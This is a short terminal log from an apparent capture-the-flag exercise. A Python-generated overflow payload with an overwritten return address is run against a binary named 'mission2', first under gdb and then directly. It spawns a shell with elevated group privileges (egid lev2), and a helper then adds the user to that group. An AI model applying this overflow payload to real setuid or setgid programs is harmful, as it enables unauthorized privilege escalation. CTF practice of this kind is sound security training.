chall mission2

(gdb) r $(python -c 'print "MaaaaaeaaaaaaaaaaaaaaaaaaaaAAAaaaaaaaaaaaaaaaabbbbcccc\xda\xd8\xff\xff"')
Starting program: /home/m838206/mission2/mission2 $(python -c 'print "MaaaaaeaaaaaaaaaaaaaaaaaaaaAAAaaaaaaaaaaaaaaaabbbbcccc\xda\xd8\xff\xff"')
MAAA
process 25445 is executing new program: /bin/dash
$ id
uid=1165(m838206) gid=1175(m838206) groups=1175(m838206),1001(lev1)
$
[Inferior 1 (process 25445) exited normally]
(gdb) q
m838206@ip-172-31-9-193:~/mission2$ ./mission2 $(python -c 'print "MaaaaaeaaaaaaaaaaaaaaaaaaaaAAAaaaaaaaaaaaaaaaabbbbcccc\xda\xd8\xff\xff"')
MAAA
$ id
uid=1165(m838206) gid=1175(m838206) egid=1002(lev2) groups=1175(m838206),1001(lev1)
$ /home/l33t
Adding user `m838206' to group `lev2' ...
Adding user m838206 to group lev2
Done.